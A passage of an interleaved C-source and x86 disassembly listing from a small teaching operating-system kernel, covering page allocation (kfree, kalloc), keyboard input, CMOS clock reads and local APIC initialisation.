801022e2: 81 fb f4 58 11 80 cmp $0x801158f4,%ebx
801022e8: 72 74 jb 8010235e <kfree+0x8e>
801022ea: 8d 83 00 00 00 80 lea -0x80000000(%ebx),%eax
801022f0: 3d ff ff ff 0d cmp $0xdffffff,%eax
801022f5: 77 67 ja 8010235e <kfree+0x8e>
panic("kfree");
// Fill with junk to catch dangling refs.
memset(v, 1, PGSIZE);
801022f7: c7 44 24 08 00 10 00 movl $0x1000,0x8(%esp)
801022fe: 00
801022ff: c7 44 24 04 01 00 00 movl $0x1,0x4(%esp)
80102306: 00
80102307: 89 1c 24 mov %ebx,(%esp)
8010230a: e8 51 1f 00 00 call 80104260 <memset>
if(kmem.use_lock)
8010230f: 8b 15 74 26 11 80 mov 0x80112674,%edx
80102315: 85 d2 test %edx,%edx
80102317: 75 37 jne 80102350 <kfree+0x80>
acquire(&kmem.lock);
r = (struct run*)v;
r->next = kmem.freelist;
80102319: a1 78 26 11 80 mov 0x80112678,%eax
8010231e: 89 03 mov %eax,(%ebx)
kmem.freelist = r;
if(kmem.use_lock)
80102320: a1 74 26 11 80 mov 0x80112674,%eax
kmem.freelist = r;
80102325: 89 1d 78 26 11 80 mov %ebx,0x80112678
if(kmem.use_lock)
8010232b: 85 c0 test %eax,%eax
8010232d: 75 09 jne 80102338 <kfree+0x68>
release(&kmem.lock);
}
8010232f: 83 c4 14 add $0x14,%esp
80102332: 5b pop %ebx
80102333: 5d pop %ebp
80102334: c3 ret
80102335: 8d 76 00 lea 0x0(%esi),%esi
release(&kmem.lock);
80102338: c7 45 08 40 26 11 80 movl $0x80112640,0x8(%ebp)
}
8010233f: 83 c4 14 add $0x14,%esp
80102342: 5b pop %ebx
80102343: 5d pop %ebp
release(&kmem.lock);
80102344: e9 c7 1e 00 00 jmp 80104210 <release>
80102349: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
acquire(&kmem.lock);
80102350: c7 04 24 40 26 11 80 movl $0x80112640,(%esp)
80102357: e8 c4 1d 00 00 call 80104120 <acquire>
8010235c: eb bb jmp 80102319 <kfree+0x49>
panic("kfree");
8010235e: c7 04 24 66 70 10 80 movl $0x80107066,(%esp)
80102365: e8 f6 df ff ff call 80100360 <panic>
8010236a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
80102370 <freerange>:
{
80102370: 55 push %ebp
80102371: 89 e5 mov %esp,%ebp
80102373: 56 push %esi
80102374: 53 push %ebx
80102375: 83 ec 10 sub $0x10,%esp
p = (char*)PGROUNDUP((uint)vstart);
80102378: 8b 45 08 mov 0x8(%ebp),%eax
{
8010237b: 8b 75 0c mov 0xc(%ebp),%esi
p = (char*)PGROUNDUP((uint)vstart);
8010237e: 8d 90 ff 0f 00 00 lea 0xfff(%eax),%edx
80102384: 81 e2 00 f0 ff ff and $0xfffff000,%edx
for(; p + PGSIZE <= (char*)vend; p += PGSIZE)
8010238a: 8d 9a 00 10 00 00 lea 0x1000(%edx),%ebx
80102390: 39 de cmp %ebx,%esi
80102392: 73 08 jae 8010239c <freerange+0x2c>
80102394: eb 18 jmp 801023ae <freerange+0x3e>
80102396: 66 90 xchg %ax,%ax
80102398: 89 da mov %ebx,%edx
8010239a: 89 c3 mov %eax,%ebx
kfree(p);
8010239c: 89 14 24 mov %edx,(%esp)
8010239f: e8 2c ff ff ff call 801022d0 <kfree>
for(; p + PGSIZE <= (char*)vend; p += PGSIZE)
801023a4: 8d 83 00 10 00 00 lea 0x1000(%ebx),%eax
801023aa: 39 f0 cmp %esi,%eax
801023ac: 76 ea jbe 80102398 <freerange+0x28>
}
801023ae: 83 c4 10 add $0x10,%esp
801023b1: 5b pop %ebx
801023b2: 5e pop %esi
801023b3: 5d pop %ebp
801023b4: c3 ret
801023b5: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
801023b9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
801023c0 <kinit1>:
{
801023c0: 55 push %ebp
801023c1: 89 e5 mov %esp,%ebp
801023c3: 56 push %esi
801023c4: 53 push %ebx
801023c5: 83 ec 10 sub $0x10,%esp
801023c8: 8b 75 0c mov 0xc(%ebp),%esi
initlock(&kmem.lock, "kmem");
801023cb: c7 44 24 04 6c 70 10 movl $0x8010706c,0x4(%esp)
801023d2: 80
801023d3: c7 04 24 40 26 11 80 movl $0x80112640,(%esp)
801023da: e8 51 1c 00 00 call 80104030 <initlock>
p = (char*)PGROUNDUP((uint)vstart);
801023df: 8b 45 08 mov 0x8(%ebp),%eax
kmem.use_lock = 0;
801023e2: c7 05 74 26 11 80 00 movl $0x0,0x80112674
801023e9: 00 00 00
p = (char*)PGROUNDUP((uint)vstart);
801023ec: 8d 90 ff 0f 00 00 lea 0xfff(%eax),%edx
801023f2: 81 e2 00 f0 ff ff and $0xfffff000,%edx
for(; p + PGSIZE <= (char*)vend; p += PGSIZE)
801023f8: 8d 9a 00 10 00 00 lea 0x1000(%edx),%ebx
801023fe: 39 de cmp %ebx,%esi
80102400: 73 0a jae 8010240c <kinit1+0x4c>
80102402: eb 1a jmp 8010241e <kinit1+0x5e>
80102404: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80102408: 89 da mov %ebx,%edx
8010240a: 89 c3 mov %eax,%ebx
kfree(p);
8010240c: 89 14 24 mov %edx,(%esp)
8010240f: e8 bc fe ff ff call 801022d0 <kfree>
for(; p + PGSIZE <= (char*)vend; p += PGSIZE)
80102414: 8d 83 00 10 00 00 lea 0x1000(%ebx),%eax
8010241a: 39 c6 cmp %eax,%esi
8010241c: 73 ea jae 80102408 <kinit1+0x48>
}
8010241e: 83 c4 10 add $0x10,%esp
80102421: 5b pop %ebx
80102422: 5e pop %esi
80102423: 5d pop %ebp
80102424: c3 ret
80102425: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80102429: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80102430 <kinit2>:
{
80102430: 55 push %ebp
80102431: 89 e5 mov %esp,%ebp
80102433: 56 push %esi
80102434: 53 push %ebx
80102435: 83 ec 10 sub $0x10,%esp
p = (char*)PGROUNDUP((uint)vstart);
80102438: 8b 45 08 mov 0x8(%ebp),%eax
{
8010243b: 8b 75 0c mov 0xc(%ebp),%esi
p = (char*)PGROUNDUP((uint)vstart);
8010243e: 8d 90 ff 0f 00 00 lea 0xfff(%eax),%edx
80102444: 81 e2 00 f0 ff ff and $0xfffff000,%edx
for(; p + PGSIZE <= (char*)vend; p += PGSIZE)
8010244a: 8d 9a 00 10 00 00 lea 0x1000(%edx),%ebx
80102450: 39 de cmp %ebx,%esi
80102452: 73 08 jae 8010245c <kinit2+0x2c>
80102454: eb 18 jmp 8010246e <kinit2+0x3e>
80102456: 66 90 xchg %ax,%ax
80102458: 89 da mov %ebx,%edx
8010245a: 89 c3 mov %eax,%ebx
kfree(p);
8010245c: 89 14 24 mov %edx,(%esp)
8010245f: e8 6c fe ff ff call 801022d0 <kfree>
for(; p + PGSIZE <= (char*)vend; p += PGSIZE)
80102464: 8d 83 00 10 00 00 lea 0x1000(%ebx),%eax
8010246a: 39 c6 cmp %eax,%esi
8010246c: 73 ea jae 80102458 <kinit2+0x28>
kmem.use_lock = 1;
8010246e: c7 05 74 26 11 80 01 movl $0x1,0x80112674
80102475: 00 00 00
}
80102478: 83 c4 10 add $0x10,%esp
8010247b: 5b pop %ebx
8010247c: 5e pop %esi
8010247d: 5d pop %ebp
8010247e: c3 ret
8010247f: 90 nop
80102480 <kalloc>:
// Allocate one 4096-byte page of physical memory.
// Returns a pointer that the kernel can use.
// Returns 0 if the memory cannot be allocated.
char*
kalloc(void)
{
80102480: 55 push %ebp
80102481: 89 e5 mov %esp,%ebp
80102483: 53 push %ebx
80102484: 83 ec 14 sub $0x14,%esp
struct run *r;
if(kmem.use_lock)
80102487: a1 74 26 11 80 mov 0x80112674,%eax
8010248c: 85 c0 test %eax,%eax
8010248e: 75 30 jne 801024c0 <kalloc+0x40>
acquire(&kmem.lock);
r = kmem.freelist;
80102490: 8b 1d 78 26 11 80 mov 0x80112678,%ebx
if(r)
80102496: 85 db test %ebx,%ebx
80102498: 74 08 je 801024a2 <kalloc+0x22>
kmem.freelist = r->next;
8010249a: 8b 13 mov (%ebx),%edx
8010249c: 89 15 78 26 11 80 mov %edx,0x80112678
if(kmem.use_lock)
801024a2: 85 c0 test %eax,%eax
801024a4: 74 0c je 801024b2 <kalloc+0x32>
release(&kmem.lock);
801024a6: c7 04 24 40 26 11 80 movl $0x80112640,(%esp)
801024ad: e8 5e 1d 00 00 call 80104210 <release>
return (char*)r;
}
801024b2: 83 c4 14 add $0x14,%esp
801024b5: 89 d8 mov %ebx,%eax
801024b7: 5b pop %ebx
801024b8: 5d pop %ebp
801024b9: c3 ret
801024ba: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
acquire(&kmem.lock);
801024c0: c7 04 24 40 26 11 80 movl $0x80112640,(%esp)
801024c7: e8 54 1c 00 00 call 80104120 <acquire>
801024cc: a1 74 26 11 80 mov 0x80112674,%eax
801024d1: eb bd jmp 80102490 <kalloc+0x10>
801024d3: 66 90 xchg %ax,%ax
801024d5: 66 90 xchg %ax,%ax
801024d7: 66 90 xchg %ax,%ax
801024d9: 66 90 xchg %ax,%ax
801024db: 66 90 xchg %ax,%ax
801024dd: 66 90 xchg %ax,%ax
801024df: 90 nop
801024e0 <kbdgetc>:
asm volatile("in %1,%0" : "=a" (data) : "d" (port));
801024e0: ba 64 00 00 00 mov $0x64,%edx
801024e5: ec in (%dx),%al
normalmap, shiftmap, ctlmap, ctlmap
};
uint st, data, c;
st = inb(KBSTATP);
if((st & KBS_DIB) == 0)
801024e6: a8 01 test $0x1,%al
801024e8: 0f 84 ba 00 00 00 je 801025a8 <kbdgetc+0xc8>
801024ee: b2 60 mov $0x60,%dl
801024f0: ec in (%dx),%al
return -1;
data = inb(KBDATAP);
801024f1: 0f b6 c8 movzbl %al,%ecx
if(data == 0xE0){
801024f4: 81 f9 e0 00 00 00 cmp $0xe0,%ecx
801024fa: 0f 84 88 00 00 00 je 80102588 <kbdgetc+0xa8>
shift |= E0ESC;
return 0;
} else if(data & 0x80){
80102500: 84 c0 test %al,%al
80102502: 79 2c jns 80102530 <kbdgetc+0x50>
// Key released
data = (shift & E0ESC ? data : data & 0x7F);
80102504: 8b 15 b4 a5 10 80 mov 0x8010a5b4,%edx
8010250a: f6 c2 40 test $0x40,%dl
8010250d: 75 05 jne 80102514 <kbdgetc+0x34>
8010250f: 89 c1 mov %eax,%ecx
80102511: 83 e1 7f and $0x7f,%ecx
shift &= ~(shiftcode[data] | E0ESC);
80102514: 0f b6 81 a0 71 10 80 movzbl -0x7fef8e60(%ecx),%eax
8010251b: 83 c8 40 or $0x40,%eax
8010251e: 0f b6 c0 movzbl %al,%eax
80102521: f7 d0 not %eax
80102523: 21 d0 and %edx,%eax
80102525: a3 b4 a5 10 80 mov %eax,0x8010a5b4
return 0;
8010252a: 31 c0 xor %eax,%eax
8010252c: c3 ret
8010252d: 8d 76 00 lea 0x0(%esi),%esi
{
80102530: 55 push %ebp
80102531: 89 e5 mov %esp,%ebp
80102533: 53 push %ebx
80102534: 8b 1d b4 a5 10 80 mov 0x8010a5b4,%ebx
} else if(shift & E0ESC){
8010253a: f6 c3 40 test $0x40,%bl
8010253d: 74 09 je 80102548 <kbdgetc+0x68>
// Last character was an E0 escape; or with 0x80
data |= 0x80;
8010253f: 83 c8 80 or $0xffffff80,%eax
shift &= ~E0ESC;
80102542: 83 e3 bf and $0xffffffbf,%ebx
data |= 0x80;
80102545: 0f b6 c8 movzbl %al,%ecx
}
shift |= shiftcode[data];
80102548: 0f b6 91 a0 71 10 80 movzbl -0x7fef8e60(%ecx),%edx
shift ^= togglecode[data];
8010254f: 0f b6 81 a0 70 10 80 movzbl -0x7fef8f60(%ecx),%eax
shift |= shiftcode[data];
80102556: 09 da or %ebx,%edx
shift ^= togglecode[data];
80102558: 31 c2 xor %eax,%edx
c = charcode[shift & (CTL | SHIFT)][data];
8010255a: 89 d0 mov %edx,%eax
8010255c: 83 e0 03 and $0x3,%eax
8010255f: 8b 04 85 80 70 10 80 mov -0x7fef8f80(,%eax,4),%eax
shift ^= togglecode[data];
80102566: 89 15 b4 a5 10 80 mov %edx,0x8010a5b4
if(shift & CAPSLOCK){
8010256c: 83 e2 08 and $0x8,%edx
c = charcode[shift & (CTL | SHIFT)][data];
8010256f: 0f b6 04 08 movzbl (%eax,%ecx,1),%eax
if(shift & CAPSLOCK){
80102573: 74 0b je 80102580 <kbdgetc+0xa0>
if('a' <= c && c <= 'z')
80102575: 8d 50 9f lea -0x61(%eax),%edx
80102578: 83 fa 19 cmp $0x19,%edx
8010257b: 77 1b ja 80102598 <kbdgetc+0xb8>
c += 'A' - 'a';
8010257d: 83 e8 20 sub $0x20,%eax
else if('A' <= c && c <= 'Z')
c += 'a' - 'A';
}
return c;
}
80102580: 5b pop %ebx
80102581: 5d pop %ebp
80102582: c3 ret
80102583: 90 nop
80102584: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
shift |= E0ESC;
80102588: 83 0d b4 a5 10 80 40 orl $0x40,0x8010a5b4
return 0;
8010258f: 31 c0 xor %eax,%eax
80102591: c3 ret
80102592: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
else if('A' <= c && c <= 'Z')
80102598: 8d 48 bf lea -0x41(%eax),%ecx
c += 'a' - 'A';
8010259b: 8d 50 20 lea 0x20(%eax),%edx
8010259e: 83 f9 19 cmp $0x19,%ecx
801025a1: 0f 46 c2 cmovbe %edx,%eax
return c;
801025a4: eb da jmp 80102580 <kbdgetc+0xa0>
801025a6: 66 90 xchg %ax,%ax
return -1;
801025a8: b8 ff ff ff ff mov $0xffffffff,%eax
801025ad: c3 ret
801025ae: 66 90 xchg %ax,%ax
801025b0 <kbdintr>:
void
kbdintr(void)
{
801025b0: 55 push %ebp
801025b1: 89 e5 mov %esp,%ebp
801025b3: 83 ec 18 sub $0x18,%esp
consoleintr(kbdgetc);
801025b6: c7 04 24 e0 24 10 80 movl $0x801024e0,(%esp)
801025bd: e8 ee e1 ff ff call 801007b0 <consoleintr>
}
801025c2: c9 leave
801025c3: c3 ret
801025c4: 66 90 xchg %ax,%ax
801025c6: 66 90 xchg %ax,%ax
801025c8: 66 90 xchg %ax,%ax
801025ca: 66 90 xchg %ax,%ax
801025cc: 66 90 xchg %ax,%ax
801025ce: 66 90 xchg %ax,%ax
801025d0 <fill_rtcdate>:
return inb(CMOS_RETURN);
}
static void fill_rtcdate(struct rtcdate *r)
{
801025d0: 55 push %ebp
801025d1: 89 c1 mov %eax,%ecx
801025d3: 89 e5 mov %esp,%ebp
asm volatile("out %0,%1" : : "a" (data), "d" (port));
801025d5: ba 70 00 00 00 mov $0x70,%edx
801025da: 53 push %ebx
801025db: 31 c0 xor %eax,%eax
801025dd: ee out %al,(%dx)
asm volatile("in %1,%0" : "=a" (data) : "d" (port));
801025de: bb 71 00 00 00 mov $0x71,%ebx
801025e3: 89 da mov %ebx,%edx
801025e5: ec in (%dx),%al
return inb(CMOS_RETURN);
801025e6: 0f b6 c0 movzbl %al,%eax
asm volatile("out %0,%1" : : "a" (data), "d" (port));
801025e9: b2 70 mov $0x70,%dl
801025eb: 89 01 mov %eax,(%ecx)
801025ed: b8 02 00 00 00 mov $0x2,%eax
801025f2: ee out %al,(%dx)
asm volatile("in %1,%0" : "=a" (data) : "d" (port));
801025f3: 89 da mov %ebx,%edx
801025f5: ec in (%dx),%al
801025f6: 0f b6 c0 movzbl %al,%eax
asm volatile("out %0,%1" : : "a" (data), "d" (port));
801025f9: b2 70 mov $0x70,%dl
801025fb: 89 41 04 mov %eax,0x4(%ecx)
801025fe: b8 04 00 00 00 mov $0x4,%eax
80102603: ee out %al,(%dx)
asm volatile("in %1,%0" : "=a" (data) : "d" (port));
80102604: 89 da mov %ebx,%edx
80102606: ec in (%dx),%al
80102607: 0f b6 c0 movzbl %al,%eax
asm volatile("out %0,%1" : : "a" (data), "d" (port));
8010260a: b2 70 mov $0x70,%dl
8010260c: 89 41 08 mov %eax,0x8(%ecx)
8010260f: b8 07 00 00 00 mov $0x7,%eax
80102614: ee out %al,(%dx)
asm volatile("in %1,%0" : "=a" (data) : "d" (port));
80102615: 89 da mov %ebx,%edx
80102617: ec in (%dx),%al
80102618: 0f b6 c0 movzbl %al,%eax
asm volatile("out %0,%1" : : "a" (data), "d" (port));
8010261b: b2 70 mov $0x70,%dl
8010261d: 89 41 0c mov %eax,0xc(%ecx)
80102620: b8 08 00 00 00 mov $0x8,%eax
80102625: ee out %al,(%dx)
asm volatile("in %1,%0" : "=a" (data) : "d" (port));
80102626: 89 da mov %ebx,%edx
80102628: ec in (%dx),%al
80102629: 0f b6 c0 movzbl %al,%eax
asm volatile("out %0,%1" : : "a" (data), "d" (port));
8010262c: b2 70 mov $0x70,%dl
8010262e: 89 41 10 mov %eax,0x10(%ecx)
80102631: b8 09 00 00 00 mov $0x9,%eax
80102636: ee out %al,(%dx)
asm volatile("in %1,%0" : "=a" (data) : "d" (port));
80102637: 89 da mov %ebx,%edx
80102639: ec in (%dx),%al
8010263a: 0f b6 d8 movzbl %al,%ebx
8010263d: 89 59 14 mov %ebx,0x14(%ecx)
r->minute = cmos_read(MINS);
r->hour = cmos_read(HOURS);
r->day = cmos_read(DAY);
r->month = cmos_read(MONTH);
r->year = cmos_read(YEAR);
}
80102640: 5b pop %ebx
80102641: 5d pop %ebp
80102642: c3 ret
80102643: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
80102649: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80102650 <lapicinit>:
if(!lapic)
80102650: a1 7c 26 11 80 mov 0x8011267c,%eax
{
80102655: 55 push %ebp
80102656: 89 e5 mov %esp,%ebp
if(!lapic)
80102658: 85 c0 test %eax,%eax
8010265a: 0f 84 c0 00 00 00 je 80102720 <lapicinit+0xd0>
lapic[index] = value;
80102660: c7 80 f0 00 00 00 3f movl $0x13f,0xf0(%eax)
80102667: 01 00 00
lapic[ID]; // wait for write to finish, by reading
8010266a: 8b 50 20 mov 0x20(%eax),%edx
lapic[index] = value;
8010266d: c7 80 e0 03 00 00 0b movl $0xb,0x3e0(%eax)
80102674: 00 00 00
lapic[ID]; // wait for write to finish, by reading
80102677: 8b 50 20 mov 0x20(%eax),%edx
lapic[index] = value;
8010267a: c7 80 20 03 00 00 20 movl $0x20020,0x320(%eax)
80102681: 00 02 00
lapic[ID]; // wait for write to finish, by reading
80102684: 8b 50 20 mov 0x20(%eax),%edx
lapic[index] = value;
80102687: c7 80 80 03 00 00 80 movl $0x989680,0x380(%eax)
8010268e: 96 98 00
lapic[ID]; // wait for write to finish, by reading
80102691: 8b 50 20 mov 0x20(%eax),%edx
lapic[index] = value;
80102694: c7 80 50 03 00 00 00 movl $0x10000,0x350(%eax)
8010269b: 00 01 00
lapic[ID]; // wait for write to finish, by reading
8010269e: 8b 50 20 mov 0x20(%eax),%edx
lapic[index] = value;
801026a1: c7 80 60 03 00 00 00 movl $0x10000,0x360(%eax)
801026a8: 00 01 00
lapic[ID]; // wait for write to finish, by reading
801026ab: 8b 50 20 mov 0x20(%eax),%edx
if(((lapic[VER]>>16) & 0xFF) >= 4)
801026ae: 8b 50 30 mov 0x30(%eax),%edx
801026b1: c1 ea 10 shr $0x10,%edx
801026b4: 80 fa 03 cmp $0x3,%dl
801026b7: 77 6f ja 80102728 <lapicinit+0xd8>
lapic[index] = value;
801026b9: c7 80 70 03 00 00 33 movl $0x33,0x370(%eax)
801026c0: 00 00 00
lapic[ID]; // wait for write to finish, by reading
801026c3: 8b 50 20 mov 0x20(%eax),%edx
lapic[index] = value;
801026c6: c7 80 80 02 00 00 00 movl $0x0,0x280(%eax)
801026cd: 00 00 00
lapic[ID]; // wait for write to finish, by reading
801026d0: 8b 50 20 mov 0x20(%eax),%edx
lapic[index] = value;
801026d3: c7 80 80 02 00 00 00 movl $0x0,0x280(%eax)
801026da: 00 00 00
lapic[ID]; // wait for write to finish, by reading
801026dd: 8b 50 20 mov 0x20(%eax),%edx
lapic[index] = value;
801026e0: c7 80 b0 00 00 00 00 movl $0x0,0xb0(%eax)
801026e7: 00 00 00
lapic[ID]; // wait for write to finish, by reading
801026ea: 8b 50 20 mov 0x20(%eax),%edx
lapic[index] = value;
801026ed: c7 80 10 03 00 00 00 movl $0x0,0x310(%eax)
801026f4: 00 00 00
lapic[ID]; // wait for write to finish, by reading
801026f7: 8b 50 20 mov 0x20(%eax),%edx
lapic[index] = value;
801026fa: c7 80 00 03 00 00 00 movl $0x88500,0x300(%eax)
80102701: 85 08 00
lapic[ID]; // wait for write to finish, by reading
80102704: 8b 50 20 mov 0x20(%eax),%edx
80102707: 90 nop
while(lapic[ICRLO] & DELIVS)
80102708: 8b 90 00 03 00 00 mov 0x300(%eax),%edx
8010270e: 80 e6 10 and $0x10,%dh
80102711: 75 f5 jne 80102708 <lapicinit+0xb8>
lapic[index] = value;
80102713: c7 80 80 00 00 00 00 movl $0x0,0x80(%eax)
8010271a: 00 00 00
lapic[ID]; // wait for write to finish, by reading
8010271d: 8b 40 20 mov 0x20(%eax),%eax
}
80102720: 5d pop %ebp
80102721: c3 ret
80102722: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
lapic[index] = value;
80102728: c7 80 40 03 00 00 00 movl $0x10000,0x340(%eax)
8010272f: 00 01 00
lapic[ID]; // wait for write to finish, by reading
80102732: 8b 50 20 mov 0x20(%eax),%edx
80102735: eb 82 jmp 801026b9 <lapicinit+0x69>
80102737: 89 f6 mov %esi,%esi
80102739: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80102740 <lapicid>:
if (!lapic)
80102740: a1 7c 26 11 80 mov 0x8011267c,%eax
{
80102745: 55 push %ebp
80102746: 89 e5 mov %esp,%ebp
if (!lapic)
80102748: 85 c0 test %eax,%eax
8010274a: 74 0c je 80102758 <lapicid+0x18>
return lapic[ID] >> 24;
8010274c: 8b 40 20 mov 0x20(%eax),%eax
}
8010274f: 5d pop %ebp
return lapic[ID] >> 24;
80102750: c1 e8 18 shr $0x18,%eax
}
80102753: c3 ret
80102754: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
return 0;
80102758: 31 c0 xor %eax,%eax
}
8010275a: 5d pop %ebp
8010275b: c3 ret
8010275c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80102760 <lapiceoi>:
if(lapic)
80102760: a1 7c 26 11 80 mov 0x8011267c,%eax
{
80102765: 55 push %ebp
80102766: 89 e5 mov %esp,%ebp
if(lapic)
80102768: 85 c0 test %eax,%eax
8010276a: 74 0d je 80102779 <lapiceoi+0x19>
lapic[index] = value;
8010276c: c7 80 b0 00 00 00 00 movl $0x0,0xb0(%eax)
80102773: 00 00 00
lapic[ID]; // wait for write to finish, by reading
80102776: 8b 40 20 mov 0x20(%eax),%eax
}
80102779: 5d pop %ebp
8010277a: c3 ret
8010277b: 90 nop
8010277c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80102780 <microdelay>:
{
80102780: 55 push %ebp
80102781: 89 e5 mov %esp,%ebp
}
80102783: 5d pop %ebp
80102784: c3 ret
80102785: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80102789: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80102790 <lapicstartap>:
{
80102790: 55 push %ebp
asm volatile("out %0,%1" : : "a" (data), "d" (port));
80102791: ba 70 00 00 00 mov $0x70,%edx
80102796: 89 e5 mov %esp,%ebp
80102798: b8 0f 00 00 00 mov $0xf,%eax
8010279d: 53 push %ebx
8010279e: 8b 4d 08 mov 0x8(%ebp),%ecx
801027a1: 8b 5d 0c mov 0xc(%ebp),%ebx
801027a4: ee out %al,(%dx)
801027a5: b8 0a 00 00 00 mov $0xa,%eax
801027aa: b2 71 mov $0x71,%dl
801027ac: ee out %al,(%dx)
wrv[0] = 0;
801027ad: 31 c0 xor %eax,%eax
801027af: 66 a3 67 04 00 80 mov %ax,0x80000467
wrv[1] = addr >> 4;
801027b5: 89 d8 mov %ebx,%eax
801027b7: c1 e8 04 shr $0x4,%eax
801027ba: 66 a3 69 04 00 80 mov %ax,0x80000469
lapic[index] = value;
801027c0: a1 7c 26 11 80 mov 0x8011267c,%eax
lapicw(ICRHI, apicid<<24);
801027c5: c1 e1 18 shl $0x18,%ecx
lapicw(ICRLO, STARTUP | (addr>>12));
801027c8: c1 eb 0c shr $0xc,%ebx
lapic[index] = value;
801027cb: 89 88 10 03 00 00 mov %ecx,0x310(%eax)
lapic[ID]; // wait for write to finish, by reading
801027d1: 8b 50 20 mov 0x20(%eax),%edx
lapic[index] = value;
801027d4: c7 80 00 03 00 00 00 movl $0xc500,0x300(%eax)
801027db: c5 00 00
lapic[ID]; // wait for write to finish, by reading
801027de: 8b 50 20 mov 0x20(%eax),%edx
lapic[index] = value;
801027e1: c7 80 00 03 00 00 00 movl $0x8500,0x300(%eax)
801027e8: 85 00 00
lapic[ID]; // wait for write to finish, by reading
801027eb: 8b 50 20 mov 0x20(%eax),%edx
lapic[index] = value;
801027ee: 89 88 10 03 00 00 mov %ecx,0x310(%eax)
lapic[ID]; // wait for write to finish, by reading
801027f4: 8b 50 20 mov 0x20(%eax),%edx
lapicw(ICRLO, STARTUP | (addr>>12));
801027f7: 89 da mov %ebx,%edx
801027f9: 80 ce 06 or $0x6,%dh
lapic[index] = value;
801027fc: 89 90 00 03 00 00 mov %edx,0x300(%eax)
lapic[ID]; // wait for write to finish, by reading
80102802: 8b 58 20 mov 0x20(%eax),%ebx
lapic[index] = value;
80102805: 89 88 10 03 00 00 mov %ecx,0x310(%eax)
lapic[ID]; // wait for write to finish, by reading
8010280b: 8b 48 20 mov 0x20(%eax),%ecx
lapic[index] = value;
8010280e: 89 90 00 03 00 00 mov %edx,0x300(%eax)
lapic[ID]; // wait for write to finish, by reading
80102814: 8b 40 20 mov 0x20(%eax),%eax
}
80102817: 5b pop %ebx
80102818: 5d pop %ebp
80102819: c3 ret
8010281a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
80102820 <cmostime>:
// qemu seems to use 24-hour GWT and the values are BCD encoded
void cmostime(struct rtcdate *r)
{
80102820: 55 push %ebp
80102821: ba 70 00 00 00 mov $0x70,%edx
80102826: 89 e5 mov %esp,%ebp
80102828: b8 0b 00 00 00 mov $0xb,%eax
8010282d: 57 push %edi
8010282e: 56 push %esi
8010282f: 53 push %ebx
80102830: 83 ec 4c sub $0x4c,%esp
80102833: ee out %al,(%dx)
asm volatile("in %1,%0" : "=a" (data) : "d" (port));
80102834: b2 71 mov $0x71,%dl
80102836: ec in (%dx),%al
80102837: 88 45 b7 mov %al,-0x49(%ebp)
8010283a: 8d 5d b8 lea -0x48(%ebp),%ebx
struct rtcdate t1, t2;
int sb, bcd;
sb = cmos_read(CMOS_STATB);
bcd = (sb & (1 << 2)) == 0;
8010283d: 80 65 b7 04 andb $0x4,-0x49(%ebp)
80102841: 8d 7d d0 lea -0x30(%ebp),%edi
80102844: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
asm volatile("out %0,%1" : : "a" (data), "d" (port));
80102848: be 70 00 00 00 mov $0x70,%esi
// make sure CMOS doesn't modify time while we read it
for(;;) {
fill_rtcdate(&t1);
8010284d: 89 d8 mov %ebx,%eax
8010284f: e8 7c fd ff ff call 801025d0 <fill_rtcdate>
80102854: b8 0a 00 00 00 mov $0xa,%eax
80102859: 89 f2 mov %esi,%edx
8010285b: ee out %al,(%dx)
asm volatile("in %1,%0" : "=a" (data) : "d" (port));
8010285c: ba 71 00 00 00 mov $0x71,%edx
80102861: ec in (%dx),%al
if(cmos_read(CMOS_STATA) & CMOS_UIP)
80102862: 84 c0 test %al,%al
80102864: 78 e7 js 8010284d <cmostime+0x2d>
continue;
fill_rtcdate(&t2);
80102866: 89 f8 mov %edi,%eax
80102868: e8 63 fd ff ff call 801025d0 <fill_rtcdate>
if(memcmp(&t1, &t2, sizeof(t1)) == 0)
8010286d: c7 44 24 08 18 00 00 movl $0x18,0x8(%esp)
80102874: 00
80102875: 89 7c 24 04 mov %edi,0x4(%esp)
80102879: 89 1c 24 mov %ebx,(%esp)
8010287c: e8 2f 1a 00 00 call 801042b0 <memcmp>
80102881: 85 c0 test %eax,%eax
80102883: 75 c3 jne 80102848 <cmostime+0x28>
break;
}
// convert
if(bcd) {
80102885: 80 7d b7 00 cmpb $0x0,-0x49(%ebp)
80102889: 75 78 jne 80102903 <cmostime+0xe3>
#define CONV(x) (t1.x = ((t1.x >> 4) * 10) + (t1.x & 0xf))
CONV(second);
8010288b: 8b 45 b8 mov -0x48(%ebp),%eax
8010288e: 89 c2 mov %eax,%edx
80102890: 83 e0 0f and $0xf,%eax
80102893: c1 ea 04 shr $0x4,%edx
80102896: 8d 14 92 lea (%edx,%edx,4),%edx
80102899: 8d 04 50 lea (%eax,%edx,2),%eax
8010289c: 89 45 b8 mov %eax,-0x48(%ebp)
CONV(minute);
8010289f: 8b 45 bc mov -0x44(%ebp),%eax
801028a2: 89 c2 mov %eax,%edx
801028a4: 83 e0 0f and $0xf,%eax
801028a7: c1 ea 04 shr $0x4,%edx
801028aa: 8d 14 92 lea (%edx,%edx,4),%edx
801028ad: 8d 04 50 lea (%eax,%edx,2),%eax
801028b0: 89 45 bc mov %eax,-0x44(%ebp)
CONV(hour );
801028b3: 8b 45 c0 mov -0x40(%ebp),%eax
801028b6: 89 c2 mov %eax,%edx
801028b8: 83 e0 0f and $0xf,%eax
801028bb: c1 ea 04 shr $0x4,%edx
